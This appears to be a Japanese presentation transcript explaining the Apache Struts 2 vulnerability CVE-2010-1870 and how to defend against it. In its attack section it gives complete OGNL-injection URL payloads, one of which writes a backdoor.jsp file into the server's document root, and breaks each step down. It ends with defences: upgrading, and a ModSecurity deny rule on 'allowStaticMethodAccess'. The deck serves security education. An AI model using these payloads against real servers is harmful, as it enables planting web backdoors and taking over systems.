cve-2010-1870
DESCRIPTION
TRANSCRIPT
Struts と愉快な脆弱性達
※本稿の内容を管理下ではない環境に対して 実施しないでください。
Struts って
Apache Software Foundation のプロジェクトで開発が進められている Web アプリケーションのフレームワーク
最新バージョンは、 2.3.14.3 だが、古いバージョンには♥ を熱くする脆弱性が複数報告されている。
1.3 系は EOL 。
お古はダメなんですクリティカルな脆弱性達が存在するので、意図せずして情報提供サーバになってしまう。
JINS2013 年 5 月 1 日に最終報告。
2,059 件のクレジットカード情報が漏えいした可能性がある。
不正利用の申告があった件数は上記のうち 20 件。最大損害総額: \3,053,000※ 申告がなかった不正利用額は推定
今日のお話は・・・クリティカルな脆弱性のうちの1つである CVE-2010-1870 。
Apache Struts の XWork における OGNL の式評価には、 "#" ParameterInterceptors 保護メカニズムを回避される脆弱性が存在します。
By JVN
1 系には、本脆弱性は存在しませんが、 EOL となっているため、 2 系の最新バージョンにアップグレードされることを推奨いたします。
Struts2.0.0 – 2.1.8.1 に存在する脆弱性。
脆弱性の話の前にHTTP では、いくつかの method (命令)が用意されているが、その中でよく使われる method が POST と GET です。
HTTP のリクエスト(利用者からの要求)
Request = Request-Line ; Section 5.1 *(( general-header ; Section 4.5 | request-header ; Section 5.3 | entity-header ) CRLF) ; Section 7.1 CRLF [ message-body ] ; Section 4.3
Request-Line = Method SP Request-URI SP HTTP-Version CRLF
リクエスト
レスポンスWebサイト
利用者
脆弱性の話の前にGET メソッドの場合GET /private/index.html?var1=num1&var2=num2 HTTP/1.1Host: example.com
POST メソッドの場合POST /private/index.html HTTP/1.1Host: example.comContent-Length: XXCRLFvar1=num1&var2=num2
脆弱性の話の前に
apache では POST メソッドで送付されるパラメータ(パラメータ名および値)はログ出力されないので、 POST のパラメータの内容を知るためにはModSecurityなどを導入する必要がある。 GET メソッドで送付されるパラメータはログに残るので、内容を確認することができる。
(抜粋) RFC2616 15.1.3 URI での機密性の高い情報のエンコードHTTP プロトコルを使うサービスの作者は、その Request-URI にエンコードされたデータが現れるので、機密性の高いデータの提出に GET を使ったフォームを使うべきではない。
XX.XX.XX.XX - - [24/Jun/2013:08:12:50 +0900] "GET /sample/index.html?var1=num1&var2=num2 HTTP/1.1" 200 11365 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.116 Safari/537.36" AA.AA.AA.AA
XX.XX.XX.ZZ - - [24/Jun/2013:08:17:13 +0900] "POST /sample/index.html HTTP/1.1" 20018268 "http://AA.AA.AA.AA/sample/index.html" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.116 Safari/537.36" AA.AA.AA.AA
Apache のログ
CVE-2010-1879 をどう攻めるのか?
http://xxx?('\43_memberAccess.allowStaticMethodAccess')(a)=true&(arwe)(('\43context[\'xwork.MethodAccessor.denyMethodExecution\']\75false')(a))&(dd)(('\43req\[email protected]@getRequest()')(a))&(ged)(('\43res\[email protected]@getResponse()')(a))&(mq)(('\43res.getWriter().println("End")')(a))&(sqe)(('\43res.getWriter().close()')(d))
こんな GET パラメータを放り込んでみると・・・
HTTP/1.1 200 OKDate: Tue, 25 Jun 2013 09:13:18 GMTContent-Length: 4Connection: closeContent-Type: text/plain; charset=UTF-8
End
レスポンスは???
なぜ??
http://xxx?('\43_memberAccess.allowStaticMethodAccess')(a)=true
Static メソッドの呼び出しを許可するかを指定しており、「 true 」で呼び出せるようになる。「 \43 」が # として評価される。&(arwe)(('\43context[\'xwork.MethodAccessor.denyMethodExecution\']\75false')(a))
&(ged)(('\43res\[email protected]@getResponse()')(a))
&(dd)(('\43req\[email protected]@getRequest()')(a))リクエストを変数 #req として定義。「 \75 」が = として評価される。
レスポンスを変数 #res として定義。
どう攻めるのか?
denyMethodExecution を false にセット。
&(mq)(('\43res.getWriter().println("End")')(a))
レスポンスに「 End 」を出力する。
&(sqe)(('\43res.getWriter().close()')(d))
後始末。
どう攻めるのか?
巧みな窃盗画面に End と表示してなんも面白くない。
('\43_memberAccess.allowStaticMethodAccess')(a)=true&(bnes)(('\43context[\'xwork.MethodAccessor.denyMethodExecution\']\75false')(a))&(de)(('\43req\[email protected]@getRequest()')(a))&(gf)(('\43res\[email protected]@getResponse()')(a))&(keee)(('\43res.getWriter().println(\43req.getServletContext().getRealPath("\u005c"))')(a))&(arrrs)(('\43fos\75new%20java.io.FileWriter(new%20java.lang.StringBuilder(\43req.getServletContext().getRealPath("\u005c")).append(@java.io.File@separator).append("backdoor.jsp").toString())')(a))&(ovb)(('\43fos.write(\43req.getParameter("contents").getBytes())')(a))&(rdsq)(('\43res.getWriter().println("End")')(a))&(tres)(('\43fos.close()')(d))&(v)(('\43res.getWriter().close()')(d))&contents=xxxxxxxxx
サーバに backdoor 仕込もう(梅酒ばりにさらりと
※ 実際に動作するコードからコピペしても動作 ( ファイル生成のみ ) しないように 1byte 変更しています。 全体像の理解に影響のない個所を変更しています。
常習犯の手口('\43_memberAccess.allowStaticMethodAccess')(a)=true&(bnes)(('\43context[\'xwork.MethodAccessor.denyMethodExecution\']\75false')(a))&(de)(('\43req\[email protected]@getRequest()')(a))&(gf)(('\43res\[email protected]@getResponse()')(a))
&(keee)(('\43res.getWriter().println(\43req.getServletContext().getRealPath("\u005c"))')(a))
準備体操。
&(arrrs)(('\43fos\75new%20java.io.FileWriter(new%20java.lang.StringBuilder(\43req.getServletContext().getRealPath("\u005c")).append(@java.io.File@separator).append("backdoor.jsp").toString())')(a))
ドキュメントルートの絶対パスを出力。特に必要ありません。デバッグのためです。
ドキュメントルートに backdoor.jsp ファイルを作成。
&(ovb)(('\43fos.write(\43req.getParameter("contents").getBytes())')(a))
作成したファイルに後述する contents パラメータの内容を出力する。
常習犯の手口
デバッグ用の End を出力する。
&contents=xxxxx
&(rdsq)(('\43res.getWriter().println("End")')(a))
&(tres)(('\43fos.close()')(d))&(v)(('\43res.getWriter().close()')(d))
後始末。
contents パラメータで中身は xxxxx 。
中身が xxxxx だけのファイルが作成されるだけならば、まだいいほう。悪意のあるコードが埋め込まれた場合、悲劇。
どう守る?ぐだぐだ言わずに、黙って update 。
ただ、 Struts のバージョンアップだと、プログラムソースの変更やそれに伴うテストの対応がリソース的にできない。じゃあ、 WAF など別の手段でリスクを軽減しましょう。
どう守る?
とりあえず、今回は ModSecurity で。
WAF る
WAF ら(ない)WAF り(ます)
WAF る(こと)WAF れ(ば)アップデートできないなら、 WAF れ!!
WAF の五段活用
ModSecurityhttp://www.modsecurity.org/
フリーな WAF 。シグネチャ( CoreRuleSet )もフリーで存在し、シグネチャの追加は知識さえあれば己の力でなんとかなるかも(やりたくないけど)。
ModSecurity
今回はシンプルに「 allowStaticMethodAccess 」があれば止めるとしています。
SecRule ARGS_NAMES|ARGS "allowStaticMethodAccess" "phase:2,t:none,auditlog,deny,id:'999999'“
CVE-2013-2115 にも効果あった。